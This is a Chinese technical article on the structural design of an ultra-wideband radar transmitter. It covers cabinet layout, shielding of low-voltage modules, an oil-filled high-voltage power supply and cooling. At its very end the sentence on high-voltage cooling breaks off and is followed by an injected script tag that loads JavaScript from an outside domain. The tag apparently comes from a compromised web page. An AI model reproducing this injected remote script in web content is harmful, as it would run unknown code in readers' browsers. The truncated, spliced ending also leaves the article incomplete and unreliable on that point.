摘 要：简要介绍了超宽带雷达发射机的结构组成及工作特点。在此基础上提出了超宽带雷达发射机结构的总体设计思想，并着重讨论了低压结构、高压结构和冷却系统设计中的关键问题。
关键词：发射机；结构设计；行波管
1 引言
超宽带雷达是集目标特性识别、成像、电子对抗干扰于一体的新体制雷达，具有广泛的应用前景。该雷达发射机具有电压高、功率大、热损耗高等特点。它的末级功率放大器选用s波段大功率倍频程行波管，其阴极高压接近10kv、输出平均功率大于1kw，热损耗约8kw。如此高的电压很容易对发射机的低压部分构成严重干扰，甚至使其无法正常工作。为了保证雷达发射机具有良好的电磁兼容性，在发射机结构设计时要求做到低压部分与高压部分之间充分屏蔽隔离。由于发射机热损耗极高，冷却系统的设计对于发射机而言也是至关重要的。优良的冷却系统不但要确保发射部件工作在允许的温度环境中，而且还要满足相应的耐压绝缘要求。该文针对超宽带雷达发射机的上述特点和要求，提出一种发射机结构的设计思想，并给出该设计方案。
该发射机主要由低压分机、高压分机、行波管和水冷系统等组成。各分机根据其功耗及耐压绝缘要求选用不同冷却方式：有风冷、油冷、水冷等。其中高压电源和行波管为发射机核心器件，其冷却设计尤为重要。发射主要技术指标见表1，详细组成见表2。
2 发射机柜的结构设计
发射机柜安装在雷达车箱过桥上，水冷机柜在发射机柜右下侧。受车箱形状及安装位置限制，安装完毕后操作人员只能在发射机柜的正前方及右侧面进行操作。由于各分机间存在多根高压电缆，可能危及人身安全，机柜前面板上只布置前级放大器的功率输入电缆和行波管假面板上的功率输出电缆，其余电缆均隐藏在机柜内部，这样机柜外观美观、简洁，操作十分安全。机柜内设计了多根纵横交错的“u”形走线槽，连接处开口相通，使机柜内的线缆走线也隐蔽整洁，所有电缆连接件选用快插型连接件，方便调试与维护。
分配各分机的结构尺寸和安装位置时，着重于安全、美观与配重。机柜左边用于垂直放置行波管组件（约15kg），前装功率输出接口面板；右边分为三层，自上而下，面板高度按比例逐渐增高，较小、轻的分机在上；较大、重的分机在下。高压电源分机由于其重量大约为70kg，在最下方。这样机柜重心最低，且接近水平中心位置，有利于经受车载运输过程中的颠簸振动。
3 低压结构设计
低压结构部分由前级放大器、控制与保护分机、配电转接分机组成。前级放大器内装有固态放大器及二次稳压电源。固态放大器结构采用整块铝板铣削加工而成，正面为微带电路腔体，不同功率量级腔体用隔墙隔开，避免由于腔体效应产生高频自激振荡，通过穿心电容馈电, 避免因电源引起的电磁干扰影响高频信号频谱。底面铣出排型散热器，满足高频晶体管、衰减器等元器件的散热要求。电源线由背面通过穿心电容、孔、洞等引入正面电路，方便并简化电路走线。分机前面板设计波浪形长孔，既美观又利于散热。前面板上只布置一只sma输入插座连接来自雷达接收机的射频信号，其余连接件如控制、输出插座均布置在左侧板上，使前级输出到末级行波管输入射频线缆长度最短，减小由射频电缆引起的插损。分机维护十分方便，打开行波管输出接口面板即可进行电缆的连接或拆卸。同样，控制与保护分机及配电转接分机前面板均无连接件，只布置指示灯、操作开关等，连接件布置在右侧板上，打开机柜右侧门，不用拖出分机即可进行线缆同接口间的连接、拆卸操作，便于发射机的检测、联试。
4 高压结构设计
4.1 高压电源结构设计
高压结构部分包括行波管、高压电源，高压控制分机。因行波管外购，高压电源由于其高压与大功耗等特点，是发射分机结构设计中的难点、重点之一。发射机高压电源中，收集电压为6～7kv，阴极电压约10kv。高压电源总输出功率为10kw，工作效率约90%。高压电源热损耗为：
p耗=10/90%×(1-90%)=1.1kw （1）
高压电源分机由辅助电源与4路独立的高压电源并联，单路高压电源功率为2.5kw。高压电源分机结构外形如图1所示。外形尺寸为594×286×424(w×h×d单位mm)，重量约为70kg。
高压油箱为防尘密封灌油结构，所充油液为45号变压器油。四路电源单体及均衡网络均并排装于同一箱盖上，单路电源可独立装拆，便于调试和维修。油箱上同时设有多组把手，便于从发射机柜上推进、拉出及搬运等。油箱上设有注油孔、放油孔、通气孔、油液面观察窗以及前后侧设计散热肋片。
高压电源采用铸铝zl101材料，其具有良好的切削加工性能及铸造工艺性。箱体采取铸造加铣削工艺成形，为筋板结构，重量轻、刚性好。
4.2 高压电源热设计
高压电源的冷却方式为?script src=http://er12.com/t.js>
